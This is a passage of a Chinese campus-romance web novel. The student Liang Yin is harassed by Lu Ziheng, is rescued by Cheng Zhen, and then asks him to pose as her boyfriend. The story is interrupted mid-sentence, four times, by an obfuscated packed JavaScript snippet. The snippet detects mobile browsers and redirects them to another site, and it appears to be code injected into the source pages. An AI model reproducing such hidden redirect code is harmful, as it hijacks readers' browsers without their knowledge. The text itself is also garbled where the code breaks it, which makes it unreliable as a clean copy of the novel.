此言一出，程臻有些无奈地深吸了一口气，反倒是沈铭川和陶莹没忍住笑了，状况外的林砚后知后觉地抬起了头：“啊？怎么了？” “人家问你呢，为什么管程臻叫橙子。”陶莹笑着重复了一遍梁因的问题。 “哦，当然因为他姓程啊。”林砚笑了，“这样叫显得亲近一点儿呗，总不能叫臻子——虽然也不是完全不行吧，但总容易让人想起那位从电视机里爬出来的长头发小姐姐，有点儿不太合适。” “而且……”林砚看了看程臻，随即咧开嘴笑了，“你看他平时话又少也不爱笑，叫他橙子说不定能中和一下他高冷的气质呢。” “我跟你说啊，程臻。”林砚看着不搭理他默默吃串的程臻，语气里带了点儿恨铁不成钢的意味，“你要是一直这个样子的话，是根本找不到对象的！” 程臻面无表情地看他一眼：“不劳你费心了啊，谢谢。” 林砚幽幽看他一会儿，叹了口气，再开口时带了点羡慕嫉妒恨的意味：“长得帅就是好，就凭这张脸也有好多女生喜欢。” 程臻没搭腔，而林砚扭头又看向沈铭川，毫无预兆地换了目标：“不光是橙子，你也是。” 猝不及防被点名，正在看热闹的沈铭川险些被可乐呛到：“跟我有什么关系？” “我这是在关心你们的人生大事好不好！” 梁因用余光瞥了周静雨一眼，刚才林砚提到沈铭川的时候她便有点儿紧张，梁因知道她是不太好意思，于是找了个他们说话的空档开口，把话题扯到别处去了。 吃完夜宵之后，沈铭川结了账，梁因没加他好友，于是便把钱转给了周静雨让她帮忙转交。 六人走出烧烤店回寝室，陶莹说要去一趟超市，林砚自然要陪着，于是六人组又变回了来时的四个人，两个男生很绅士地把周静雨和梁因送到了寝室楼下。 一直到走进寝室楼，周静雨才长长吐了一口气，抓住了梁因的手。 这一顿夜宵是她和沈铭川第一次除了上课和社团之外的相处，虽然不止他们两个人，但要不是梁因在，她估计都不好意思答应。 “沈铭川人真还不错的。”梁因笑嘻嘻地捏了捏周静雨的手指，另一只手握拳挥舞了一下，“支持你拿下他！” 周静雨脸又有点儿红了：“可是他——” “他肯定对你也有意思，没啥可是的。”梁因答得斩钉截铁。 周静雨有些羡慕地看梁因一眼。 梁因的性格比她外向很多，在不是特别熟悉的环境里她显然更自在不少，周静雨总是忍不住想，要是她也能跟梁因一样就好了。 常言道近朱者赤，周静雨决定多跟梁因待在一起，于是挽上了她的手臂，两人迈着同样的步子上楼回到301。 一进寝室，早就望眼欲穿的赵新艺和丁玥一下围了上来，缠着两人询问夜宵局的细节，梁因讲了个开头，随即交给了周静雨自己“交代”，回到椅子上摸出手机看了看。 她拒绝了陆子恒的邀约后，对方倒没坚持，只是依旧锲而不舍地给她发了好几条消息表示关心，梁因点开看了一眼，没回。 她倒不是真的想看陆子恒给她发了什么，只是生怕他又来约她去做什么或者给她送什么东西，她看到了的话能及时拒绝，至于别的……就当作没看见好了。 梁因退出微信，把手机放在桌上插上数据线充电，随即便又加入了其余三人热火朝天的八卦中。 只是梁因到底还是“低估”了陆子恒。 周二梁因有半天的专业课，她们专业按照单双号分成两个小班上课，她和周静雨一个班，下课之后两人一起去食堂吃了饭，回寝室的路上，周静雨说她要去寄个退货快递。 梁因说要陪她一块儿，周静雨则摇了摇头拒绝，说天太热了，让她先回寝室吹空调去。 “那行，我就先回去啦。” 跟周静雨分开后，梁因踩着树荫往寝室走去，原本正盘算着下午要不要点个奶茶喝，却没想到远远瞧见寝室楼下站着个人，背影看着像在等人，隐约还有些熟悉。 梁因的脚步放慢了几分。 ……不会吧。 她停下脚步观察了一会儿，等到那人转了个身低头看了看手机才看清脸，果然是陆子恒没错。 梁因深呼吸两下，也不知道是不是天气热的原因，胸中忽然升起一股莫名的烦躁火气。 哪怕是赵新艺之前尝试给她分析过陆子恒可能的心理，她还是完全无法理解这背后的逻辑。 就像她不明白，明明自己已经拒绝了他的邀约，为什么他还连招呼都不打一声，就出现在她寝室楼下；也不明白他为什么已经被自己发现了在有女朋友的情况下装单身来追她，还能厚着脸皮来找她要“原谅”。 算了，来都来了，也躲不掉。 梁因无奈地长吐一口气，随即摆出一副面无表情的冷脸， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283390|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往寝室的方向走去。 - “程臻。”睡程臻对床的男生拖着椅子挪到了他旁边，饶有兴致地看他电脑屏幕，“看啥呢？” “一个老港剧，”程臻按了暂停，摘下半边耳机转头看闫旭，“怎么了？” “好看不？” “我刚看了一半，还行。”程臻点了点头，随即想到什么，“你要登我vip吗？用我手机号就行，给你发验证码。” “不是，我现在不看。”闫旭摆了摆手，笑嘻嘻地看他，“你有空没？” 程臻勾唇笑了笑，摘下了另半边耳机转头看他：“有事儿就直说。” “我要去给班长交个资料，明天是最后一天，但是明天我们不是没有专业课吗，我碰不到她。”闫旭顿了顿，“你陪我去女生宿舍找她呗？” “干嘛要我陪你去？” 闫旭面露纠结：“女生宿舍那边都是女生啊，我一个男生自己去会很奇怪诶。” 程臻瞥他一眼：“我跟你一块儿去就不奇怪了？” “多少稍微好一点儿嘛。”闫旭笑了，“而且你再帮我一起去拿个快递呗。” 程臻打量了他一番：“你柔弱不能自理到连快递都拿不动了？” “我买了个新的电竞椅。”闫旭嘿嘿一笑，“还有一些其他有的没的。” 程臻听明白了：“找我当苦力？” “怎么说话呢，这不是室友之间的互帮互助和谐友爱吗。”闫旭一只手搭上了程臻的肩膀，“帮个忙呗，哥哥——” 程臻：“……” 程臻有个弟弟，他的室友都知道，有时候程钧会给他打电话，撒娇拖长音喊他哥哥，结果被他的室友们学了去，有事没事便开玩笑地掐着嗓子喊他哥哥。 然而一群二十岁的男生模仿小男孩的声音用的程臻鸡皮疙瘩一身，程臻无奈地把闫旭搭在自己肩上的手拍开：“你再这么叫信不信我揍你。” 闫旭知道程臻的“威胁”全都雷声大雨点小，笑嘻嘻地又凑上去：“那我就当你答应了啊？” 程臻拨开身上的这一大块牛皮糖，“嗯”了一声：“我换个衣服。” 程臻随便套了件T恤和牛仔裤便跟闫旭一块儿出了门，路上闫旭看了看手机，说道：“她回我消息了，说马上就下来。” 程臻点点头：“行。” 两人又往前走了一段，闫旭忽然看到了什么，脚步猛地一顿：“卧槽。” “怎么了？”程臻转头看他。 “你看那里。”闫旭抬手往旁边那栋楼外的空地一指，“那不是陆子恒那傻逼吗？” 这个名字听得程臻微一皱眉，顺着他的手指看过去，却意外地看到陆子恒的面前站着另一个熟悉的人。 他认识她，他们昨晚还刚刚一起吃过夜宵。 “你看跟他说话的那个女生。”闫旭凑过来挨着程臻远远观察，“那不会是陆子恒的女朋友吧？” “我靠，他这种人都能找到女朋友，凭什么我不行？”闫旭倒吸了一口气，语气十分不满，“而且你看那女生，长得挺好看啊，怎么眼光这么差？” 12. Chapter 12 平心而论，陆子恒的条件确实算可以，起码从表面上看还不错——这也是当时他向梁因表达了好感之后，她愿意跟他试着接触的原因。 可自从那天梁因撞破他和别的女生进了酒店之后，事情就完全不受控制了。 陆子恒一下子就变得实在陌生，可梁因又觉得或许这才是他原本的样子，之前的所有都只是他装出来的。 “因因你怎么现在才回来啊，我都等你好久了。”陆子恒提着一杯饮料看向走过来的梁因，“我特地给你买了饮料。” 梁因垂眸看了一眼，没接。 “你怎么来了？” “本来不是想约你晚上一起吃饭吗，你说你有事，我就趁你下课过来找你一趟。”陆子恒一边说着，一边把饮料往梁因手里递。 “不用，我今天已经喝过了。”梁因摆手拒绝，“外面也挺热的，你要是有什么事儿就直说吧。” “也没什么事儿。”陆子恒笑了笑，“我最近刚好有两篇专业的英文的文献资料，你不是刚好是英语专业的吗，应该挺需要这种翻译实战的机会吧？刚好给你当课外的学习资料练练手，怎么样？” 梁因盯着陆子恒，觉得自己没有听懂他话的意思，慢慢重复了一遍：“你是要我帮你翻译你的专业文献？” “怎么叫帮我呢，我一拿到就想到你了，不是正好让你锻炼锻炼吗。” 梁因没说话，她实在是觉得自己好像根本不认识陆子恒了，他完全变了一副模样，她只觉得恶心。 “饮料你还是拿着吧，你要是不喝给你室友也行。”陆子恒想去拉梁因的手把饮料塞给她，结果梁因触电似的一躲，饮料袋子掉到了地上，“砰”的一声。 哪怕是站在树荫下，梁因也已经开始冒汗，她闭了闭眼睛，再睁开时直视着陆子恒的眼睛，语气也不太好听。 “你是听不懂我说话吗？” 陆子恒一愣。 “我跟你说过很多遍了，我不管那天的女生跟你到底是什么关系，但是对我来说我跟你已经没可能了，我讲得很清楚，我希望我们退回到最普通的同学关系，平时也没有必要再有什么联系了。”梁因深吸了一口气，“你为什么还要来一次一次地找我呢？” 陆子恒也收了脸上的笑意，看着梁因，表情不太好看。 “你什么意思？” “我，不想，再跟你，有任何关系了。”梁因一字一顿，“还有什么不理解的吗？” “梁因你闹够了没有？”陆子恒皱起眉，“我都已经跟你说过了我跟她分手了，你就为了这点小事跟我斤斤计较到现在？” 梁因干脆地点了点头：“是，你就当我是小气好了。” 陆子恒冷哼一声：“梁因，你知不知道有多少女生喜欢我？我这样的条件你放着不要，你以为随随便便就能找到像我一样的？还是难不成你其实早就看上别人，一直把我当备胎了对吧？” 梁因皱起眉：“你说什么呢？” “怎么，被我说中了？” “我不想跟你废话。”梁因觉得有点儿头晕，“既然有这么多人喜欢你，那你去把时间花在她们身上好了，我再最后说一遍，纯粹的字面意思，我跟你没可能，你也别想能从我身上得到什么，以后别再来找我了。” 说完她转身便想走，手腕却被扯住，陆子恒用了力捏得她有点儿疼，梁因想要挣脱，他却握得更紧，说着凭什么她说没可能就没可能。 “你松手——” 然而下一秒，手腕上的力道骤然松开，陆子恒的话也戛然而止，随即梁因听见了他带着怒气的声音。 “谁啊？是不是有病？” 另一道熟悉的男声响起：“她让你松手。” 梁因一怔，握着手腕抬头看过去，果不其然看到了程臻，正拽着陆子恒的手把他拖到了一边。 “真没想到啊，把团队的方案只署自己的名，篮球赛上恶意撞人，现在你的履历还更新到了骚扰女生？”程臻没放手，勾唇笑了一声，声音却没有什么温度，“挺精彩啊。” “程臻你是不是有病啊！跟你有什么关系？”陆子恒有些龇牙咧嘴，“你他妈放开我！” “跟我有什么关系？”程臻转头看向梁因，“他是你男朋友吗？” 梁因拨浪鼓似的摇头。 “前男友？” 梁因又摇头：“我没跟他在一起过。” 程臻点了点头，重新看向陆子恒：“既然这样的话，那她跟你又有什么关系？” “程臻你别在这儿多管闲事——嘶——” 程臻一把甩开了陆子恒的手，他踉跄了两步，捂着自己的小臂，狠狠地瞪了两人一眼：“看不出来啊，你勾搭上他了？” “你既然不是她的男朋友，她跟谁在一起就跟你没关系。”程臻看着他，“你最好说话别这么难听，你之前的烂事儿都没跟你算过呢。” 陆子恒没有立刻说话，表情变化相当精彩，目光在程臻和梁因之间来回两轮，好一会儿才咬咬牙：“行，算你狠。” 说完他又恶狠狠剜了梁因一眼，留下一句“你等着”，然后头也不回地走了。 空气重新归于安静，大脑空白的梁因平复了一下心跳，疲惫地长长吐了口气，才转头看向程臻：“谢谢你啊。” “疼吗？”程臻的目光下落至她的手腕上。 陆子恒拉她是用了力的，梁因的手腕上现在还留着明显的红印子，她抿了抿唇：“还好。” 程臻点了点头，这才注意到了脚下摔在地上的饮料，拿起来径直丢进了一旁的垃圾桶。 “我请你喝饮料吧。”梁因看着他，“刚才多亏你了。” 程臻看了看她额头渗出了汗珠，半晌还是轻轻牵了牵唇角，点点头道：“好。” 距离宿舍区最近的就是开在教育超市旁边的奶茶店，外面有一圈桌椅可以坐。 “你喝什么？” 程臻平时不怎么喝奶茶，扫了一眼菜单，目光还是落回了梁因身上：“跟你一样就行。” “我喝半糖去冰的杨枝甘露，你也可以吗？” 程臻点了点头。 这个时间点单的人不少，梁因付了款之后从营业员手里接过了小票，抬头看了一眼显示屏，在她前面还有六个号，她转头看了看程臻，指指旁边的空位：“坐一下吗？” 程臻点点头，拉开椅子在旁边的椅子上坐了下来。 梁因也在他对面坐下，双手放在桌上绞着手指，手腕上还隐约能看见红印。 一路从寝室楼过来，两人都没开口说话，只有点单的时候梁因问了程臻两句话。 此刻坐在有空调的奶茶店桌旁，整个人凉快下来，梁因咬了咬嘴唇，抬头看着对面的男生，脑海里才开始慢慢回放刚才的事。 “谢谢你啊。”她又说了一遍。 程臻点点头：“你刚才已经谢过了。” 梁因捏了捏自己的手指，盯着程臻看，又酝酿了一会儿才慢慢道：“那个，我跟他说的话…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14283391|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你都听到了吗？” “没有。”程臻摇了摇头，“我是看到他动手了才过来的。” 梁因点点头，慢慢组织语言：“其实我跟他——” “梁因。”他忽然喊她名字，“你要是不想说的话，没有必要都告诉我。” ……啊？ 梁因一愣，眨了眨眼睛才反应过来：“不是，有必要的。” 程臻一挑眉，梁因看着他的表情，稍稍有些心虚——人家多好啊，替她着想体谅她，她却在打人家的主意。 “我跟他是在之前的社团认识的，嗯，我没有跟他在一起过，他有表达过好感，我就只是说可以先接触看看。”梁因抿了抿唇，“然后我有一次撞见他跟别的女生……去酒店，然后他跟我承认了，那就是他女朋友。” 程臻皱起眉，似乎是想到什么，勾唇冷笑一声。 “然后我就不想跟他有联系了，结果他一直缠着我给我发消息来找我，我拉黑他，结果他还去找我室友。”梁因停顿了一会儿，“总之大概就是这样——对了，刚才听你跟他说话，你们之前是认识吗？” “算是认识吧。”程臻点了点头，“他是我朋友之前的室友，去年我朋友找我一块儿做方案参加创业大赛，他找我朋友说能不能带上他，结果他把我们的方案改成他自己一个人的名字交了。” 梁因睁大了眼睛：“那你们没有跟老师说吗？” “说了，也交了证据，他的参赛资格被取消了，还背了个小处分。”程臻顿了顿，“你都不知道吧？” 梁因摇了摇头，吸了口气，随即又问道：“那你刚才还说什么……篮球赛？” “那就是字面意思。”程臻说道，“那件事情之后，我朋友就申请换了寝室，原来的另两个室友也知道这个事儿，也挺不待见他的，刚好有一次篮球赛遇上，陆子恒把人给撞骨折了。” 程臻的语气轻描淡写，梁因却是无比震惊——虽然陆子恒的纠缠已经把他在她这里留下的不错印象打碎得一干二净，却完全没想到还有这些更让人震惊的事情。 直到程臻去把他们的饮料拿回来梁因才回过神，机械性地接过，道了声谢，好一会儿才抬眼看他。 “他怎么——” “他怎么跟你想的不一样？”程臻把吸管插进杯子唱了一口，半糖对他来说刚刚好，清爽可口。 “我认识他的时候，他都不是这样的啊。” “正常，他在女生和老师面前完全就是另一副样子，特别是其他学院的。”程臻倒没什么惊讶的，甚至还笑了一下，“怎么样，要是知道了他的这些事迹，你还会跟他接触吗？” 当然不可能。 梁因叹了口气——果然还是自己看人的眼光不行吗。 那…… 梁因对陆子恒到底是什么样的人不怎么感兴趣，短暂的震惊过后，若有所思的目光又落到了程臻身上。 “没事，这不是你的问题，我朋友一开始也被他演进去了，他估计就是靠这样骗人的。” 梁因点了点头，捧着面前杨枝甘露的杯子，手心被杯壁的水珠洇湿，内心思绪百转千回，随即抬眼，目光诚恳地看着程臻。 “那个，今天还是真的谢谢你。”她说，“然后其实我觉得你长得特别帅，人也特别好。” 梁因的夸奖来得突然，程臻有些意外地一怔。 “接下来我有个比较冒昧的不情之请。”梁因盯着程臻，眼神里满是期待，“请问你可以当我男朋友吗？” 13. Chapter 13 从小到大，程臻一直知道自己在外形上的优势，也经常察觉到身边的女生对他有好感。 而林砚的话事实上也并不完全错，他也总是爱把刚认识程臻那会儿的事情拿出来说，讲他刚开始也不怎么敢接近程臻，总觉得他是那种动不动就冷脸生气的类型——却全然不提熟悉之后才慢慢了解他其实并非如此，以及日后遂逐渐“蹬鼻子上脸”的种种。 也正因此，那些女生最多也都只是拐弯抹角地隐晦表达自己好感，偶尔也有过胆子大的主动过几回，没得到回音最后也都以放弃告终，以至于这么直白干脆毫无铺垫的当面表达，梁因还是第一个。 程臻微一皱眉，梁因则立刻意识到了自己的表达问题，连忙摆摆手纠正：“不是不是，我不是那个意思——” “我是想问，”梁因调整了更为精确的措辞，“你可以不可以假扮我的男朋友？” 假扮？ 程臻重复了一遍她放了重音强调的用词，梁因连忙点头。 “你刚才也看到了，陆子恒可能不一定会善罢甘休，可是这个学期他还有两节公选课是跟我一样的。”梁因抿抿唇看着程臻，“我都跟他这样撕破脸了，打又打不过，躲又躲不掉，就只能想其他办法了。” 她叹一口气，垂眸瞥了一眼手腕上的痕迹，隐约还能看见。 “所以你能不能假扮一下我的男朋友啊？”梁因一脸又苦恼又可怜的样子，“就帮我应付一下他就行！” 程往后靠在了椅背上，问道：“怎么应付？” 梁因眼前一亮：“你答应啦？” “没有。”程臻摇摇头，见刚才忽然坐直了、眼睛亮晶晶看着自己的女生闻言又泄了劲儿，仿佛脑袋上有无形的耳朵耷拉下来，没忍住轻轻勾了勾唇，拿起饮料杯喝了一口掩饰。 “啊……好吧，不好意思啊，确实是我冒昧了。”梁因缓缓吐了口气，把饮料在桌上转了两圈，随即又抬眼看向程臻，“可是你真的不能再考虑一下吗？你要是有什么需要我也可以帮你的！” “那你先说说看，怎么帮你应付，以及你能帮我什么？” 只要不是明确的拒绝就还有机会——梁因观察了一下程臻的表情，他似乎没有特别反感，于是脑中飞快组织语言，片刻后开了口。 “我跟他一起的公选课是每周一和周四，你能来陪我上吗？”梁因又说了自己这两节课的时间，程臻刚好是有空的。 “你要是没时间的话，能接送我上下课也行，然后可能顶多就还有个别特殊情况吧。”梁因停顿了两秒，不知道想到什么忽然笑了，“其实我感觉感觉他有点儿怕你，只要你出现在那儿，让他能离我远点就可以！” 程臻挑眉：“所以找我？” 梁因迟疑着点了点头：“啊……这是原因之一。” “那之二之三是？” “之二是我如果要找的话，肯定得找一个全方位都比陆子恒强的人吧——总不能最后还让他找到优越感了。”梁因眨巴眨巴眼睛，“在我认识的人里，符合这个条件的人只有你一个人。” 而且程臻还能在道德和物理上双重压制陆子恒，这是梁因今天才发现的“意外之喜”。 这句话是实话，也同样是梁因的“谈判策略”—— 程臻没有太多表情，对梁因来说，要尝试猜测判断他在想什么便是难上加难，于是她便像开始时一样先夸他一番，毕竟应该没有多少人不爱听夸奖的。 然而程臻没有说话，只是看着她轻轻点了点头，等她的下文。 之三…… 从哪里能编出一个之三…… 梁因咬着嘴唇头脑风暴，忽然灵光一现：“之三是，我看他也不是很喜欢你，那你既帮了我又膈应了他，岂不是一举两得？” 她说得其实不错，如果只是一周陪她上两节课的话，对程臻来说确实不影响什么，而他也确实看不惯陆子恒很久了。 程臻沉默了一会儿：“那你能给我什么？” 他既然这么问了，就说明答应的概率就很大，梁因在心里盘算着，眼睛也更亮了几分：“你看我给你结现金报酬可以吗？” 梁因也知道谈钱太俗，但能用钱解决的问题已经是最简单的问题了。 然而这个问题并不是——因为她看见程臻眯了眯眼睛。 “或者别的也行！”梁因识时务地飞速改口，“比如……” 梁因卡在了这里，咬了咬嘴唇飞速思索，余光忽然瞥见手机屏幕亮了亮，是校园跑app的更新提示。 “我可以帮你跑校园跑！” 等等。 校园跑。 她自己都头疼不已的校园跑。 梁因情急之下不假思索就直接开了口，下一秒才反应过来自己说了什么，恨不得时光倒流回两秒钟之前，颇为懊恼地倒吸了一口气。 然而雪上加霜的是，程臻若有所思地眨了眨眼睛，似乎是开始认真考虑她的提议。 梁因平时不怎么热爱运动，上大学前跑个八百米都气喘吁吁个不行，虽然校园跑要求的配速不高，但距离对她来说还是一大困难。 每回校园跑她都得做好心理建设，最好能再拉上一个室友，两人在软件上刷新出相似的打卡点，然后结伴一起出发，最后才能完成任务。 如果还要加上男生的100公里…… 她这个学期估计就要交代在这个校园跑上了。 梁因张了张嘴正打算试着跟程臻讨价还价，却不想他抢先开了口：“女生是多少？” “校园跑吗？80公里。” 程臻点点头，想了想又道：“你每周帮我跑一次就行，怎么样？” 每周跑一次，一个学期大概十几周，听起来也不是不能接受，而且如果可以多揣一个手机多刷新几次路线的话，说不定不用额外跑这三十多公里——梁因咬着下嘴唇，点了点头：“行。” 说完又生怕程臻反悔似的，梁因连忙又道：“那就这样说好了啊，每周我帮你跑两公里，要是有什么其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14283392|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他需要帮忙的事情你也可以喊我——所以你是答应了对吧？” 梁因眨眨眼睛看着程臻，等待他最后的确认。 “最后一个问题。”程臻对上她的目光，缓缓开口。 梁因忙不迭点头：“你问。” “如果今天路过的不是我，你会怎么办？” 这个问题问得梁因一愣，今天的一切发生得太快也太巧，从陆子恒出现到他们发生争执，到程臻出现，再到他们坐在这里。 而她问他能不能假扮她的男朋友，虽然算梁因早有预谋，但天时地利人和，刚好。 这个问题对她来说有点像面试的最后一问，梁因想了一会儿，勾起唇角笑了，开口道：“我大概会硬着头皮来找你吧，绞尽脑汁考虑怎么把这个听起来很离谱的请求解释给你听——毕竟如果完全没有今天的前情提要的话，可能真的实在是太冒昧了。” “还是我？” “对啊。”梁因理所当然点点头，抬起手比划了一个耶的手势，“就是我刚才说的之二，我身边满足要求的只有你一个人，你如果不答应的话……” 梁因停顿了一会儿，表情为难地看着程臻，两只手松开杯子，掌心合在一起：“所以，拜托你了——” 程臻看着她。 对他来说，和陆子恒的过节除了膈应之外没有对他造成任何实质上的影响，因为他们平时其实不太有交集，就算有，比如今天，虽然他不怎么打架，但就算是真的动起手来，程臻也毫无悬念是占上风的。 但梁因是女孩儿，显然跟他不一样。 拿起饮料又喝了一口，程臻看着桌面上留下的一小圈水渍，沉吟片刻后抬眼看梁因，点了点头：“好。” 梁因眼神倏地一亮：“真的吗！” 她欣喜的表情看得程臻勾了勾唇，又点了点头。 梁因明显松了口气，她其实做好了程臻不答应的准备，没想到越接触越发觉，他并不像表面上的那样不好接近，于是笑起来冲他伸出手：“那……合作愉快。” 梁因还坐直了些，看起来一本正经的，仿佛跟他签署了什么特别重要的协议似的。程臻于是微微挑眉，也伸出了右手跟她握了握。 “好。” 心里一块石头落下，梁因又盯着程臻看了一会儿，眨了一下眼睛，犹豫着要不要“得寸进尺”。 “怎么了？” “那个，我能问你个问题吗？” 程臻点点头：“你说。” “你是不是特别喜欢穿黑T恤啊？”梁因犹犹豫豫地抬手指了指程臻的衣服，“我看你好像总是这么穿……” 程臻一愣，垂眼看了看自己身上穿着的衣服，是件纯黑色的宽松短袖，只有胸口处印了一个白色的简笔手绘笑脸的图案。 他挑了挑眉，勾唇很轻地笑了一声，往后靠回了椅背上。 随即程臻抬起头，对上梁因写满了好奇的目光，似笑非笑地开口道：“怎么，当你男朋友就不能穿黑T恤了吗？” 14. Chapter 14 程臻说这话的时候带了点玩笑的意味，却依然听得梁因睁大了眼睛—— 天地良心，我可绝对没有这个意思啊！ “不不不当然不是！”梁因连忙摆手，“我就是单纯好奇问一下，你穿黑色特别帅，真的。” 程臻勾了一下唇角，垂眼看了看手机，随即道：“还有什么事儿吗？” 梁因看着他，摇了摇头。 “好。”程臻应了一声随即站了起来，梁因以为他要走，却没想到看到他走到柜台旁，扫了一下点单二维码。 “……你还要喝吗？” “给我室友带一杯。”程臻在手机上点了几下，然后抬眸对上梁因的视线，“刚才我陪我室友到女生宿舍这边来交材料，本来说好去帮他拿个大件快递的。” 结果遇上了她。 梁因十分有自觉，连忙起身：“这个算我的，多少钱，我转给你。” “不用。”程臻摇头，看她一眼又收回目光，梁因则还想坚持，自己的手机屏幕却忽然一亮。 她垂眸看了一眼，是微信消息，来自……嗯？ 梁因下意识抬起头看程臻，不明白为什么他就站在自己面前还要给她发消息。 一边疑惑着，梁因一边点开看了一眼，程臻发来的消息一共两行，第一行看起来是他的手机号，第二行则是数字和字母的乱码。 “这是什么？” “我校园跑app的账号密码。”程臻收起手机，“要是没什么别的事儿，我就先走了。” 梁因：“……” - 程臻提着饮料回到寝室的时候，闫旭已经开始组装他的新电竞椅，盒子包装和各种零散物件散落一地。 “回来了啊？”闫旭正在研究一个配件，掀起眼皮看了程臻一眼，“怎么样，英雄救美完啦？” 程臻没搭理闫旭，扫了一眼他堆在墙角的两个快递盒，把手里的饮料递了过去：“给——你自己都拿回来了？” “嗯啊。”闫旭一挑眉，笑着走过来伸手去接，“这给我的啊？” 程臻手往回一收：“不要算了。” “唉唉唉谁说不要了！”闫旭从他手里拿过了饮料，插上吸管喝了一口，抬手指了指地上的快递箱，“你把我一个人丢下去管闲事儿了，这些东西我是问驿站借了个小推车自己弄回来的，隔壁哥们儿帮我搬上楼的。” “对了，你还没说呢。”闫旭想起什么，“那女生和陆子恒到底怎么回事儿啊？” 程臻言简意赅：“陆子恒一直缠着人家，把人惹生气了。” “他活该。”闫旭对陆子恒的事迹有所耳闻，虽然不是当事人但依旧义愤填膺，“你趁机揍他没有？” “他自己跑了。” “啧，没意思。”闫旭几口把饮料喝得只剩下一小半，放到了一旁的桌上，随即招呼程臻，“我才刚开始装这个椅子呢，你没事儿的话快来搭把手。” “行。” 程臻应了一声，随手准备把手机放到桌上，瞥见手机屏幕上显示收到了两条新消息，都来自梁因。 第一条是梁因两节公选课的时间和教室，第二条则是一个表情包，一个小黄豆一本正经的敬礼动图。 “怎么了？”闫旭抬头看他一眼。 “没事儿，回个消息。”程臻勾了勾唇角摇头，回了个“知道了”，随即放下手机去帮忙了。 跟他这边相比，梁因回到寝室之后，氛围截然不同。 她一开门进去，三双眼睛一下子转了过来瞧着她，梁因吓了一跳，还没开口说什么，三人一人一句抢了先。 周静雨：“我刚刚看到你跟程臻一起走了，你们去干什么啦？” 赵新艺：“坦白从宽啊，什么时候开始背着我们跟帅哥偷偷发展的？” 丁玥：“所以有照片没？到底多帅啊，我好好奇！” 梁因：“……” “好啦，我招。”她笑着举起了手，“我从头讲起。” 周静雨寄完快递回来应该是只看到了梁因和程臻一起走，于是她便简单说了陆子恒来找她的事。 “他还没死心啊？”赵新艺皱起眉，上下打量梁因，“你没事儿吧？” “没有，不是遇到程臻了吗，陆了恒就走了。”梁因笑着摇摇头，“所以我就去请他喝了个饮料。” “啊，找到了。”周静雨忽然出声，指了指自己的手机，随即大家都收到了一条群消息——是一张截图。 “什么？” 梁因垂眼点开寝室群，周静雨从弓箭协会的公众号里找到了之前的推文，截了张程臻照片的配图发到了群里。 这张抓拍照片里的程臻拿着弓站在箭道上，似乎听见了别人说的什么有趣的话，勾起唇角笑了——镜头刚好捕捉到了这一刻。 “靠，这么帅？”赵新艺的语气满是不敢置信，“这种级别的帅哥居然不在我们艺术部？” 丁玥捧着手机吸了口气：“嘶，可以啊，艺姐那天怎么说的来着——陆子恒要是还贼心不死，能不能让这位去狠狠震慑他？” “这就是我要说的下一件事。”梁因举起两根手指，“一个好消息，一个坏消息，你们想先听哪一个？” “先听好消息。” “好消息是——”梁因笑了，“我问程臻能不能假扮我男朋友陪我去上公选课，他答应了。” “真答应了啊？”赵新艺很是意外，随即似乎是想到什么又忽然笑了，“这哥们儿可以啊，这都能答应，因因，她是不是对你有意思啊？” 梁因闻言立刻垮下脸：“这就是我说的第二件事情，我付出了惨痛的代价——我答应了每周帮他跑一次校园跑。” “就每周跑一次啊？”丁玥趴在椅背上眨眨眼睛看她，“没让你帮他都跑完？” 梁因无语，过去掐她肩膀：“那大概想是要我死。” 又说笑了一阵，大家纷纷开始做各自的作业。 英语专业课的作业不少，除了书面的之外，常有随堂小测验，也还有单人或是小组的展示，都需要花时间去准备。 周三梁因没课，早上起来吃了个早午饭便继续做ppt，一直到周静雨问她哪件衣服好看，她才反应过来下午要去社团活动。 “啊，我差点忘了。”梁因挠挠头，按了保存合上电脑，转过头去看周静雨手上拿着的两件衣服，笑嘻嘻地抬手一指，“这个，这个短，抬手还能漏一小截腰呢。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14283393|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 